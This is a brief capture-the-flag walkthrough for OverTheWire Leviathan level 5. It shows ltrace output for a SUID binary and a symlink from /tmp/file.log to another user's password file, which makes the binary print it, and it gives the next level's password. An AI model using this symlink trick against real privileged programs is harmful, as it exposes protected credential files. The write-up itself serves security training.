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OverTheWire Leviathan – Level 5


ltrace against SUID ELF ./leviathan5:

leviathan5@leviathan:~$ ltrace ./leviathan5 
 __libc_start_main(0x80485db, 1, 0xffffd784, 0x80486a0 
 fopen("/tmp/file.log", "r")                  = 0
 puts("Cannot find /tmp/file.log"Cannot find /tmp/file.log
 )            = 26
 +++ exited (status 255) +++

The executable calls fopen("/tmp/file.log"), to which an error is returned, informing the user that the specified file does not exist.

Well, let’s make it! However, let’s point it to leviathan6‘s password file.

ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log

leviathan6 : UgaoFee4li

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